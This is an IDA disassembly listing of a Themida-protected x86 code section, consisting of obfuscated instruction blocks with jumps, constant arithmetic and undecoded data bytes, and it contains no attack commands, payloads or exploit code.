--------------------------------------------------------------------------- loc_5A0CDB: ; CODE XREF: Themida_:0059BFC2j sub esi, 64450EBCh xor ebp, esi jmp loc_59EC33 ; --------------------------------------------------------------------------- loc_5A0CE8: ; CODE XREF: Themida_:0059B96Fj mov esi, 78852F80h and esi, 7ADD391Eh dec esi js loc_59DBCB push edi push edx jmp loc_5A5D4E ; --------------------------------------------------------------------------- loc_5A0D01: ; CODE XREF: Themida_:loc_5A9D26j neg eax jl loc_5A260B xor eax, 67A1525Eh xor eax, 23F25F76h mov esi, eax jmp loc_59996F ; --------------------------------------------------------------------------- loc_5A0D1A: ; CODE XREF: Themida_:005AE251j sub ebx, 21841467h xor ebx, 0C954F5EFh sub ebp, ebx pop ebx add ebp, esi add ebp, 16320B0Ah push dword ptr [esp] mov esi, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_599036 ; --------------------------------------------------------------------------- loc_5A0D45: ; CODE XREF: Themida_:0059FD66j mov [edi+eax*4+1], cl mov ecx, [esp] add esp, 4 push dword ptr [esp] pop ebx add esp, 4 jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A0D61: ; CODE XREF: Themida_:005A8F12j add edx, ebp push dword ptr [esp] pop ebp push ebx jmp loc_5A36F2 ; --------------------------------------------------------------------------- byte_5A0D6D db 0FFh, 34h, 24h ; DATA XREF: Themida_:0059889Co dd 9BBEE9h db 0 ; --------------------------------------------------------------------------- loc_5A0D75: ; CODE XREF: Themida_:005A48DCj ; Themida_:005A62E3j xor dx, 327Ch xor ax, dx mov edx, [esp] add esp, 4 push cx jmp loc_5ACD36 ; --------------------------------------------------------------------------- db 54h, 8Bh, 14h dd 0E7895724h, 4C781h, 0C7810000h, 4, 0E9243C87h, 9689h ; --------------------------------------------------------------------------- loc_5A0DA8: ; CODE XREF: Themida_:005AEF52j xchg ah, dh push ecx jmp loc_59F5B3 ; --------------------------------------------------------------------------- loc_5A0DB0: ; CODE XREF: Themida_:005ACDCAj mov edx, 5DBC3500h jmp loc_5ABB7F ; --------------------------------------------------------------------------- loc_5A0DBA: ; CODE XREF: Themida_:0059C146j add ecx, edi jmp loc_59F235 ; --------------------------------------------------------------------------- loc_5A0DC1: ; CODE XREF: Themida_:0059F5B5j not ch dec ch not ch jmp loc_5A69EB ; --------------------------------------------------------------------------- loc_5A0DCC: ; CODE XREF: Themida_:005A2A67j xor ah, 5 push 7878h jmp loc_59FF99 ; --------------------------------------------------------------------------- db 51h, 0E9h, 1 dd 33FFFFECh, 0DFE9243Ch db 58h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A0DE7: ; CODE XREF: Themida_:005A173Fj pop eax push edx jmp loc_5AC24B ; --------------------------------------------------------------------------- loc_5A0DEE: ; CODE XREF: Themida_:005AC6ABj pop eax pop edx and eax, ebp pop ebp shr eax, 0Ch xor eax, ecx push 1BC6h jmp loc_5A86EA ; --------------------------------------------------------------------------- loc_5A0E02: ; CODE XREF: Themida_:005A735Aj add ebx, 362F79C6h mov edi, ebx pop ebx jmp loc_5A3040 ; --------------------------------------------------------------------------- loc_5A0E10: ; CODE XREF: Themida_:005A6031j mov esp, [esp] push eax push esp pop eax push ebx mov ebx, 4 sub eax, 0C8E3C7Eh add eax, ebx jmp loc_5A55FE ; --------------------------------------------------------------------------- loc_5A0E28: ; CODE XREF: Themida_:0059AC2Bj shr edx, 6 xor edx, 3A7CA09h add edi, edx jmp loc_5AC200 ; --------------------------------------------------------------------------- loc_5A0E38: ; CODE XREF: Themida_:0059E210j pop edi pop eax jmp loc_5AE4FC ; --------------------------------------------------------------------------- db 66h dd 2404AB0Fh, 7B59E99Ch, 0E3C1FFFFh, 0E9D3F705h, 1BA6h ; --------------------------------------------------------------------------- loc_5A0E54: ; CODE XREF: Themida_:0059D50Dj not edx jmp loc_59EB5A ; --------------------------------------------------------------------------- loc_5A0E5B: ; CODE XREF: Themida_:0059BE3Dj ; Themida_:005AC1F8j mov esp, [esp] mov [esp], esi push ebp mov ebp, 2A77454Ch jmp loc_5AED13 ; --------------------------------------------------------------------------- dword_5A0E6C dd 240C8B66h, 4EC8156h, 89000000h, 58542404h, 405h, 4E88300h ; DATA XREF: Themida_:005986C4o dd 5C240487h, 81242489h, 42404h, 685E0000h, 65DBh, 0FF8CD9E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A0E9D: ; CODE XREF: Themida_:005A4F33j mov eax, 55B37624h dec eax inc eax add eax, 29E0BA4h add eax, 0CAC6A515h sub edx, eax pop eax add edx, esi push eax mov eax, 5B5C0A4Eh push edi jmp loc_59E67C ; --------------------------------------------------------------------------- loc_5A0EBF: ; CODE XREF: Themida_:005A4DEDj ; Themida_:005AF2B3j xor al, bl mov bx, [esp] jmp loc_5A5068 ; --------------------------------------------------------------------------- loc_5A0ECA: ; CODE XREF: Themida_:0059CA4Aj mov [esp], ecx pop edx pop ecx jmp loc_59A734 ; --------------------------------------------------------------------------- loc_5A0ED4: ; CODE XREF: Themida_:005A8E7Dj add esp, 4 xor esi, edx push dword ptr [esp] pop edx push eax jmp loc_5A75B1 ; --------------------------------------------------------------------------- dw 1C87h dd 1C895C24h, 6844B724h, 6D72h, 51240489h, 0CC88CBB1h dd 83240C8Bh, 0E72804C4h, 4EC8358h, 0B4240489h, 0CEEC8060h dd 5358E730h, 16E9D1B7h db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0F1B: ; CODE XREF: Themida_:0059A268j add [esp+4], ebx pop ebx pop edi add edi, 4 push edx mov edx, 79DD3BBCh jmp loc_5A4F7F ; --------------------------------------------------------------------------- loc_5A0F32: ; CODE XREF: Themida_:005AB44Cj mov [esp], edi push esp pop edi sub esp, 4 mov [esp], ebx mov ebx, 7BDC3B38h xor ebx, 7BDC3B3Ch jmp loc_5AD530 ; --------------------------------------------------------------------------- loc_5A0F50: ; CODE XREF: Themida_:005A06D0j mov edi, 7B4D69C9h sub edi, 0FFFFFFFFh jmp loc_5ABF19 ; --------------------------------------------------------------------------- loc_5A0F60: ; CODE XREF: Themida_:005ADC92j or ebp, 28287460h or ebp, 16427A2Eh jmp loc_59D829 ; --------------------------------------------------------------------------- aSTeUSm db 'S╩Бe',8,'U!ъ[И╛╨',0 db 0 ; --------------------------------------------------------------------------- loc_5A0F7F: ; CODE XREF: Themida_:005A2BCCj sub eax, ebx pop ebx push dword ptr [esp] pop esi jmp loc_5AF5FF ; --------------------------------------------------------------------------- db 1 dd 0F3EE81D6h, 5A6AB21Ch, 0DA5BE9h, 59CFBF00h, 0D36835EFh dd 5D35EF59h, 3CE9FD29h, 0F0000D1h, 0FFBBA489h, 0C681FFh dd 0C121BD76h, 0F68107E6h, 85E1A442h, 0D16A882Dh, 5F00112h dd 12D16A88h, 0F487E95Eh, 3C8BFFFFh, 7FE95024h db 0E1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A0FDB: ; CODE XREF: Themida_:0059FF1Dj add edx, 1 jmp loc_5ABB72 ; --------------------------------------------------------------------------- loc_5A0FE3: ; CODE XREF: Themida_:005AE7ACj sub si, 5B65h mov cx, si jmp loc_598EDA ; --------------------------------------------------------------------------- dd 0C180C6B1h, 848D0FC5h, 80FFFF7Fh, 0E9C06EC1h, 63F18008h dd 54858F0Fh, 0B4500000h, 50B75368h, 722CCFFEh, 3C236856h dd 7FE90000h db 95h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A101F: ; CODE XREF: Themida_:005996E1j ; Themida_:005A221Aj add ebx, edi add ebx, 48B92AFEh push edx push edi mov edi, 4E683415h mov edx, 4E683415h xor edx, edi jmp loc_59BD41 ; --------------------------------------------------------------------------- word_5A103A dw 8B66h ; DATA XREF: Themida_:00598838o dd 0EC812404h, 4, 0E76DE9h db 0 ; --------------------------------------------------------------------------- loc_5A1049: ; CODE XREF: Themida_:005A5168j sub bl, 7Dh sub bl, 0D4h jmp loc_5AE006 ; --------------------------------------------------------------------------- loc_5A1054: ; CODE XREF: Themida_:0059D336j push 2084h mov [esp], ecx jmp loc_59DB3A ; --------------------------------------------------------------------------- loc_5A1061: ; CODE XREF: Themida_:005A0C48j xchg ebx, [esp] jmp loc_5ACE12 ; --------------------------------------------------------------------------- loc_5A1069: ; CODE XREF: Themida_:0059906Aj sub bl, dh mov dx, [esp] jmp loc_5AD29B ; --------------------------------------------------------------------------- loc_5A1074: ; CODE XREF: Themida_:005AABDEj mov [esp], esi mov esi, 213021D1h or esi, 0FDB36A9h sub esi, 51360E8h add esi, 0EF8D5810h sub edx, 358C6F91h jmp loc_5989FD ; --------------------------------------------------------------------------- db 81h, 0C5h, 2Ch dd 2918D9CEh, 0E904246Ch, 69A8h, 74C568h, 240C8900h, 4EC81h dd 24890000h, 9445E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A10BE: ; CODE XREF: Themida_:005AD0DEj add ebx, edx add ebx, 9577FA9h jmp loc_59ABEC ; --------------------------------------------------------------------------- loc_5A10CB: ; CODE XREF: Themida_:005AD397j push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 jmp loc_5A70EE ; --------------------------------------------------------------------------- db 53h dd 241C8B54h, 4C481h, 0BA520000h, 4, 285EE9h db 0 ; --------------------------------------------------------------------------- loc_5A10F5: ; CODE XREF: Themida_:005A211Fj mov ebp, esp jmp loc_59F410 ; --------------------------------------------------------------------------- loc_5A10FC: ; CODE XREF: Themida_:005A6484j sub al, bl sub al, 26h push 6014h mov [esp], ecx push 2250h mov [esp], edx push 4D02h mov [esp], ebx mov bl, 0B9h jmp loc_5A4F9F ; --------------------------------------------------------------------------- loc_5A111F: ; CODE XREF: Themida_:005A1832j pop eax push edi push esp jmp loc_59CD2B ; --------------------------------------------------------------------------- loc_5A1127: ; CODE XREF: Themida_:005AD577j jmp loc_5AA911 ; --------------------------------------------------------------------------- loc_5A112C: ; CODE XREF: Themida_:005AB0AAj add esp, 4 sub esi, 4 xor esi, [esp] jmp loc_59BE37 ; --------------------------------------------------------------------------- loc_5A113D: ; CODE XREF: Themida_:005ABB12j sub edi, 0E7C5511Dh xor edi, 57BA39A8h jmp loc_59A550 ; --------------------------------------------------------------------------- loc_5A114E: ; CODE XREF: Themida_:005A89ACj not ebp push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] pop edi add edi, 9470620Bh add ebx, edi mov edi, [esp] add esp, 4 sub ebx, 450C4122h sub ebx, eax add ebx, 450C4122h push 0F91h mov [esp], ecx jmp loc_59F970 ; --------------------------------------------------------------------------- dw 0E589h dd 4C581h, 0C5810000h, 4, 83ADE9h, 96850F00h, 4E000087h dd 494F8F0Fh, 0E58A0000h db 8Bh, 0DFh ; --------------------------------------------------------------------------- loc_5A11B2: ; CODE XREF: Themida_:005A83CAj sub dx, 4949h pop ax xor ax, dx mov edx, [esp] add esp, 4 push edx jmp loc_5A76ED ; --------------------------------------------------------------------------- loc_5A11C8: ; CODE XREF: Themida_:005A7CE3j jns loc_5A5E1C jmp loc_5AD6F0 ; --------------------------------------------------------------------------- loc_5A11D3: ; CODE XREF: Themida_:005ACB2Aj sub esi, 0A17FFD5Fh and ecx, esi pop esi shr ecx, 7 push ecx mov ecx, 1Ch jmp loc_59E6D7 ; --------------------------------------------------------------------------- loc_5A11EA: ; CODE XREF: Themida_:005A24E6j pop ecx jmp loc_5A8051 ; --------------------------------------------------------------------------- loc_5A11F0: ; CODE XREF: Themida_:005A4708j push dword ptr [esp] pop edi add esp, 4 shl edi, 2 jmp loc_5AF76E ; --------------------------------------------------------------------------- loc_5A11FF: ; CODE XREF: Themida_:005A5457j ; Themida_:005AEE65j add eax, ebp add eax, 57515842h pop ebp jmp loc_5A4674 ; --------------------------------------------------------------------------- loc_5A120C: ; CODE XREF: Themida_:005AA656j push dword ptr [eax] jmp loc_5A4680 ; --------------------------------------------------------------------------- loc_5A1213: ; CODE XREF: Themida_:005AEA4Bj ; DATA XREF: Themida_:005988E4o push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A1222: ; CODE XREF: Themida_:005A981Ej mov ch, 0Eh sub ch, 62h push cx dec byte ptr [esp+1] pop cx add ch, 55h jmp loc_5AAA41 ; --------------------------------------------------------------------------- loc_5A1237: ; CODE XREF: Themida_:005A2BA8j mov dh, ch mov bl, dh pop edx mov ch, ah jmp loc_5994D5 ; --------------------------------------------------------------------------- loc_5A1243: ; CODE XREF: Themida_:005A69EEj xor ch, 0D0h add dh, ch pop ecx push bx mov bh, 62h add dh, 5Fh sub dh, bh jmp loc_5AD7EF ; --------------------------------------------------------------------------- loc_5A1257: ; CODE XREF: Themida_:0059F72Cj mov edx, esp add edx, 4 add edx, 4 jmp loc_5AE776 ; --------------------------------------------------------------------------- loc_5A126A: ; CODE XREF: Themida_:005A6D77j mov ch, 47h push ecx jmp loc_5A1C2C ; --------------------------------------------------------------------------- dw 5F21h dd 241C8B1Ch, 6D20E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A127E: ; CODE XREF: Themida_:0059E7C5j push edx push edi mov edi, 41891B27h mov edx, 0BD60AEEh add edx, 6FD94CA4h sub edx, 0AA3FFDh add edx, edi jmp loc_5AE851 ; --------------------------------------------------------------------------- loc_5A129D: ; CODE XREF: Themida_:005AB759j sub al, dl add al, 0D9h add al, 67h pop edx push edx mov dh, 0BEh sub al, dh mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_5A4D65 ; --------------------------------------------------------------------------- db 66h dd 51241489h, 0EFE931B1h, 81000030h, 4C4h, 0DE75E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A12DA: ; CODE XREF: Themida_:00598CAFj neg esi shl esi, 6 push eax mov eax, 7BDF53D7h jmp loc_5AFCEA ; --------------------------------------------------------------------------- loc_5A12EA: ; CODE XREF: Themida_:005AC2B0j pop edi xchg edx, [esp] pop esp mov [esp], edx jmp loc_5989A3 ; --------------------------------------------------------------------------- db 29h dd 0E2685EF1h, 8900005Dh, 66BA2414h, 812D3E39h, 0EA7A1AE2h dd 81DAF750h, 0A01C94F2h, 96D2E904h, 835FFFFFh, 1C8904ECh dd 4BB24h, 0D9010000h, 5B2434FFh, 4C481h, 0C330000h, 240C3124h dd 5C240C33h, 0FF04C483h, 0E99C2404h, 0FFFF765Bh ; --------------------------------------------------------------------------- loc_5A1348: ; CODE XREF: Themida_:005A3383j not esi not esi add esi, 7D027935h sub ecx, esi pop esi push ecx add dword ptr [esp], 6E7A051Fh pop edx jmp loc_59AA1F ; --------------------------------------------------------------------------- loc_5A1363: ; CODE XREF: Themida_:005A5EDBj xor eax, edx xor edx, eax xor eax, edx not edx jmp loc_5AF379 ; --------------------------------------------------------------------------- loc_5A1370: ; CODE XREF: Themida_:0059D5C9j add esp, 4 push ebx mov ebx, 6AB26D1h mov eax, 0C32D65F0h xor eax, ebx pop ebx add eax, edx mov edx, [esp] push 191Dh jmp loc_59D808 ; --------------------------------------------------------------------------- loc_5A1393: ; CODE XREF: Themida_:005AAF7Ej push 374F0B20h pop esi mov edi, 0B26D7C8Fh jmp loc_599131 ; --------------------------------------------------------------------------- loc_5A13A3: ; CODE XREF: Themida_:0059A758j push ebx push 3EB31162h pop ebx not ebx push eax mov eax, 60D452E9h and ebx, eax pop eax jmp loc_59D351 ; --------------------------------------------------------------------------- dw 0C181h dd 4F542409h, 0F181D9F7h, 1E8E7F5Bh, 8104E9C1h, 6575A7C1h dd 6DA7E91Ah, 0F2810000h, 7F2C0A9Ch, 0B93C830Fh, 0EA81FFFFh dd 0B9B10C40h, 0D388D2F7h, 0C483D189h, 75ADE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A13F6: ; CODE XREF: Themida_:005A591Cj push edx sub esp, 4 mov [esp], ebx jmp loc_5A7319 ; --------------------------------------------------------------------------- loc_5A1402: ; CODE XREF: Themida_:0059DC64j pop edx mov ebx, ecx jmp loc_5A656B ; --------------------------------------------------------------------------- loc_5A140A: ; CODE XREF: Themida_:005A6430j sub ecx, 37B9612Dh jmp loc_5A931F ; --------------------------------------------------------------------------- loc_5A1415: ; CODE XREF: Themida_:005A0CB2j pop esi jmp loc_599A5B ; --------------------------------------------------------------------------- db 81h dd 0B27A06C6h, 1C6815Bh, 8B5DA14Ah, 89562404h, 4C681E6h dd 83000000h, 348704C6h, 24248B24h, 31243433h, 34332434h dd 24248B24h, 3E50E9h, 28F38100h, 536F7C8Bh, 0FFEADDE9h dd 311EBDFFh, 0E801010Bh, 0BFF7055Dh, 0C3892A2Fh, 245C2958h dd 2C8B5B0Ch, 4C48124h, 1000000h, 8104247Ch, 0E3042444h dd 81580248h, 4004246Ch, 0E91DCD7Dh, 2E63h ; --------------------------------------------------------------------------- loc_5A1490: ; CODE XREF: Themida_:005A64E5j pop ebp add esp, 4 jmp loc_59E379 ; --------------------------------------------------------------------------- loc_5A149C: ; CODE XREF: Themida_:005ADEC1j pop edx neg bl shl bl, 4 sub bl, 64h sub al, 89h add al, bl add al, 89h jmp loc_5AB136 ; --------------------------------------------------------------------------- loc_5A14B0: ; CODE XREF: Themida_:0059E13Dj push cx jmp loc_5993A1 ; --------------------------------------------------------------------------- byte_5A14B7 db 0FFh ; DATA XREF: Themida_:00598728o dd 83592434h, 1C8904ECh, 75CF6824h, 9AE90000h db 9Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A14CB: ; CODE XREF: Themida_:005A1FC5j pop esp mov [esp], ecx push dx mov dl, 8Eh push eax mov ah, dl mov ch, ah mov eax, [esp] add esp, 4 pop dx jmp loc_5A2AEA ; --------------------------------------------------------------------------- loc_5A14E5: ; CODE XREF: Themida_:0059FCE5j mov bh, dl pop edx pop ecx xor ch, bh pop bx sub al, ch mov ecx, [esp] add esp, 4 push 5315h jmp loc_5A6D62 ; --------------------------------------------------------------------------- loc_5A14FF: ; CODE XREF: Themida_:005A6547j add esi, 410545E5h mov ebx, esi jmp loc_5A4879 ; --------------------------------------------------------------------------- loc_5A150C: ; CODE XREF: Themida_:005A64AFj xor ebp, [esp] xor [esp], ebp jmp loc_5AB63B ; --------------------------------------------------------------------------- loc_5A1517: ; CODE XREF: Themida_:005A9D8Dj add ecx, edi add ecx, 4F11B51h sub ecx, 4919103Bh push dword ptr [ecx] xor dword ptr [esp], 7D0D34B5h mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov edx, 74F56C82h dec edx push 2DB4h mov [esp], ecx jmp loc_59CD33 ; --------------------------------------------------------------------------- loc_5A1550: ; CODE XREF: Themida_:005993B1j ; Themida_:005A20F6j mov esi, 211530B8h push edi mov edi, 5EC5120h shr edi, 8 sub edi, 555724A2h sub esi, edi pop edi add ebx, 75D23FB7h sub ebx, 2F087D67h sub ebx, esi add ebx, 2F087D67h sub esp, 4 mov [esp], edx jmp loc_59DD56 ; --------------------------------------------------------------------------- loc_5A1589: ; CODE XREF: Themida_:005AE1F6j add edi, 30410FD4h push ecx push ebp mov ebp, 2BAD3499h mov ecx, ebp pop ebp sub edi, ecx pop ecx add edi, esi add edi, 2BAD3499h jmp loc_59E1D6 ; --------------------------------------------------------------------------- loc_5A15A9: ; CODE XREF: Themida_:005ABA98j mov [esp], eax jmp loc_599B84 ; --------------------------------------------------------------------------- loc_5A15B1: ; CODE XREF: Themida_:005A33B6j push dword ptr [esp] pop edx push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_59DF5F ; --------------------------------------------------------------------------- db 68h, 22h, 9 dd 1C890000h, 7ABA5224h, 89167D6Fh, 0B9515AD3h, 52F113D6h dd 602FC981h, 0D1F7556Eh, 0BE56D1F7h, 0DCF9E2D5h, 95EF101h dd 240C8BCBh, 748A68h, 24048900h, 4055854h, 5000000h, 4 dd 0E9240487h, 0FFFF7D67h ; --------------------------------------------------------------------------- loc_5A1614: ; CODE XREF: Themida_:005ADD4Fj shl esi, 3 shl esi, 5 dec esi neg esi jmp loc_5AB20D ; --------------------------------------------------------------------------- dw 8B5Eh dd 0C483243Ch, 12BA5204h, 0C14D456Ch, 814A07E2h, 49F705C2h dd 61C7815Dh, 115FD37h, 8AA6E9D7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A1646: ; CODE XREF: Themida_:0059AE76j add edi, esi add edi, 0FAD7AF2h mov esi, [esp] add esp, 4 jmp loc_5A7B80 ; --------------------------------------------------------------------------- loc_5A1659: ; CODE XREF: Themida_:loc_5A4FC2j not eax add eax, 0CE517951h jmp loc_59E6E9 ; --------------------------------------------------------------------------- db 53h, 0E9h, 5Bh dd 87FFFFCBh, 7B9CE9FEh, 0F989FFFFh, 0E9243C8Bh, 0BE65h ; --------------------------------------------------------------------------- loc_5A167C: ; CODE XREF: Themida_:0059D815j xchg eax, [esp] mov esp, [esp] sub [edi+20h], eax mov eax, [esp] add esp, 4 jmp loc_59E7FD ; --------------------------------------------------------------------------- loc_5A1693: ; CODE XREF: Themida_:005ACFAAj add esp, 4 add ebp, 4 push ecx push ebx mov ebx, 43585629h neg ebx add ebx, 0BDBA829Bh jmp loc_5A859D ; --------------------------------------------------------------------------- dd 8124348Bh, 4C4h, 4C48100h, 0E9000000h, 0FFFF72DFh ; --------------------------------------------------------------------------- loc_5A16C4: ; CODE XREF: Themida_:005A76B5j pop edx sub edi, ecx pop ecx push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] mov [esp], ecx mov ch, 75h jmp loc_5AB7C7 ; --------------------------------------------------------------------------- loc_5A16DE: ; CODE XREF: Themida_:0059A03Fj pop esp jmp loc_5999AE ; --------------------------------------------------------------------------- dword_5A16E4 dd 0E93C77FFh, 0FFFFD277h; --------------------------------------------------------------------------- loc_5A16EC: ; CODE XREF: Themida_:005AA42Cj mov edx, 4 add edi, edx pop edx push ecx mov ecx, 4 jmp loc_59D468 ; --------------------------------------------------------------------------- loc_5A16FF: ; CODE XREF: Themida_:005AD85Ej mov ecx, [esp] add esp, 4 xor edx, 7354D4E7h mov ebx, edx mov edx, [esp] add esp, 4 xor edx, ebx mov ebx, [esp] add esp, 4 sub eax, edx mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub esp, 4 jmp loc_59B18F ; --------------------------------------------------------------------------- loc_5A1739: ; CODE XREF: Themida_:0059B5ADj pop eax xor [esp+4], edi pop edi jmp loc_5A0DE7 ; --------------------------------------------------------------------------- loc_5A1744: ; CODE XREF: Themida_:005A1F76j push ecx mov ecx, 6C95F6Bh add ecx, 0A5C785EEh jmp loc_5A2018 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0FF7246E9h, 0E9D4F6FFh, 7866h dword_5A1764 dd 84BA52ADh, 81071E2Bh, 4ECh, 2E9AE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A1776: ; CODE XREF: Themida_:00598F7Aj shl edx, 1 push edi mov edi, 0D1DB5F62h add edx, edi pop edi sub eax, 40F37250h add eax, edx add eax, 40F37250h pop edx xor eax, [esp] jmp loc_5AD741 ; --------------------------------------------------------------------------- loc_5A1796: ; CODE XREF: Themida_:005A57FFj pop bx push ebx sub esp, 4 mov [esp], ecx push edx mov dl, 50h mov ch, dl jmp loc_5AA4CA ; --------------------------------------------------------------------------- loc_5A17AC: ; CODE XREF: Themida_:005A855Ej add dword ptr [esp], 4A1C79ADh sub [esp], ebp sub dword ptr [esp], 4A1C79ADh jmp loc_59A5C3 ; --------------------------------------------------------------------------- word_5A17C2 dw 8B66h ; DATA XREF: Themida_:005987A0o dd 0E952240Ch, 0C5DFh ; --------------------------------------------------------------------------- loc_5A17CC: ; CODE XREF: Themida_:005ADCAAj add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp xor eax, ebp mov ebp, [esp] add esp, 4 jmp loc_59E827 ; --------------------------------------------------------------------------- db 0B3h, 68h, 51h dd 0CE88D988h, 2434FF59h, 4C4835Bh, 809AC680h, 0EE8001C6h dd 0F58851ACh, 438DE952h, 4BF0000h, 1000000h, 0C5FEE9FAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A1816: ; CODE XREF: Themida_:0059BB29j xchg ebp, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop ebp add ebp, 4 jmp loc_5AE273 ; --------------------------------------------------------------------------- loc_5A1830: ; CODE XREF: Themida_:005AA20Aj add bl, al jmp loc_5A111F ; --------------------------------------------------------------------------- loc_5A1837: ; CODE XREF: Themida_:005A2868j pop dword ptr [esp] mov esp, [esp] imul cx push small 6E5Eh mov [esp], dx push ax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A1850: ; CODE XREF: Themida_:005994C4j xchg edx, esi not edx xchg edx, esi sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] jmp loc_5A2824 ; --------------------------------------------------------------------------- dd 0B169E905h, 242D0541h, 0F8292AC5h, 0C5242D2Dh, 69E92D2Ah dd 0E95141B1h, 1DA1h, 83DAF742h, 0DAF701EAh, 9EF6E957h dd 1C890000h, 1B286824h, 24890000h, 4BD5524h, 0E9000000h dd 0FFFF7998h, 0E30F6ABDh, 45D5F769h, 5BF2C581h, 0EB31DA99h dd 0CA0EE9h db 0 ; --------------------------------------------------------------------------- loc_5A18C9: ; CODE XREF: Themida_:00598BAEj pop esp jmp loc_5A03E9 ; --------------------------------------------------------------------------- db 81h dd 40042444h, 0E91DCD7Dh, 0FFFFDAC0h ; --------------------------------------------------------------------------- loc_5A18DC: ; CODE XREF: Themida_:005A4F9Aj sub ebx, edi pop edi sub ebx, 3D1778FBh push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 push small word ptr [eax] jmp loc_5989A3 ; --------------------------------------------------------------------------- dd 38E9C281h, 0CA017B77h, 986BE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A190A: ; CODE XREF: Themida_:005A01F6j neg dl dec dl xor dl, 0D9h xor bl, dl pop edx xor al, bl mov bx, [esp] add esp, 2 push ax mov ah, 8Ah sub bl, ah mov ax, [esp] add esp, 2 add bl, 4Fh add bl, 30h sub bl, al sub bl, 30h push dx mov dh, 4Fh push eax push ecx jmp loc_5A4EAD ; --------------------------------------------------------------------------- loc_5A1943: ; CODE XREF: Themida_:005A6AA9j ; Themida_:005AF627j sub ecx, 67A63DD1h or ecx, 6A8A49C8h jmp loc_5A88D0 ; --------------------------------------------------------------------------- loc_5A1954: ; CODE XREF: Themida_:005997BBj add bl, 0BAh pop eax jmp loc_5AA374 ; --------------------------------------------------------------------------- loc_5A195D: ; CODE XREF: Themida_:005A4A56j push cx mov ch, dl dec ch jmp loc_5A0432 ; --------------------------------------------------------------------------- dd 295AD029h, 42C505E8h, 55D11FFh, 70511C9Eh, 4C3968h dd 240C8900h, 4D68E189h, 8900000Bh, 5FE9241Ch db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A198F: ; CODE XREF: Themida_:005AC629j sub edi, ebx pop ebx add ebx, edi jmp loc_5AA9D0 ; --------------------------------------------------------------------------- loc_5A1999: ; CODE XREF: Themida_:005A513Cj pop dx jmp loc_5AEE0D ; --------------------------------------------------------------------------- dd 352D6B2Dh, 5F00123h, 23352D6Bh, 0FFC7E5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A19B1: ; CODE XREF: Themida_:005ABD0Ej jle loc_599122 not ebx add ebx, 743D4F9Ah mov ecx, ebx jmp loc_5A2729 ; --------------------------------------------------------------------------- dw 0C180h dd 80D1282Dh, 148B2DE9h, 4C48124h, 0E9000000h, 0FFFF7C57h ; --------------------------------------------------------------------------- loc_5A19DC: ; CODE XREF: Themida_:005A7937j pop edx add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_59CF98 ; --------------------------------------------------------------------------- dd 6592F781h, 48B2325h, 4C48324h, 8105E7C1h, 0F88C37C7h dd 359E2DA3h, 0F8014F1Fh, 1F359E05h, 0C8B5F4Fh, 4C48124h dd 68000000h, 1656h, 53242C89h, 0BC5F5768h, 0F435B44h dd 0D4A48Dh, 0CCF38100h, 5362637Ch, 3B37E9h, 0FE875400h dd 954EE9h db 0 ; --------------------------------------------------------------------------- loc_5A1A49: ; CODE XREF: Themida_:005AEA70j sub eax, 1E9F386Dh pop ecx push 22E2h mov [esp], ebx jmp loc_59FEE3 ; --------------------------------------------------------------------------- dd 0FF6F42E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A1A61: ; CODE XREF: Themida_:005AED55j add edi, 89029126h jmp loc_59FC7D ; --------------------------------------------------------------------------- loc_5A1A6C: ; CODE XREF: Themida_:0059B578j mov edx, [esp] push edi mov edi, esp add edi, 4 push 5CA3h mov [esp], eax mov eax, 4 add edi, eax mov eax, [esp] add esp, 4 xchg edi, [esp] mov esp, [esp] push ebp mov ebp, 12EC0DF6h neg ebp xor ebp, 700D6293h jmp loc_5AB3E4 ; --------------------------------------------------------------------------- db 59h, 81h, 0F3h dd 0C3A1B16h, 0FFA8DFE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A1AB5: ; CODE XREF: Themida_:00599007j mov [esp], edi push esi push ebx jmp loc_5A5A63 ; --------------------------------------------------------------------------- loc_5A1ABF: ; CODE XREF: Themida_:005AD163j pop ebx neg ebx jnb loc_5AFD09 jmp loc_5AC1EB ; --------------------------------------------------------------------------- db 0B8h, 3, 24h dd 0C5094A7Dh, 6CBB5358h, 8159DE01h, 0E01228F3h, 4EBC144h dd 0FFB5BAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A1AE9: ; CODE XREF: Themida_:0059B170j mov ch, 4Ch xor al, ch jmp loc_5AC4B3 ; --------------------------------------------------------------------------- 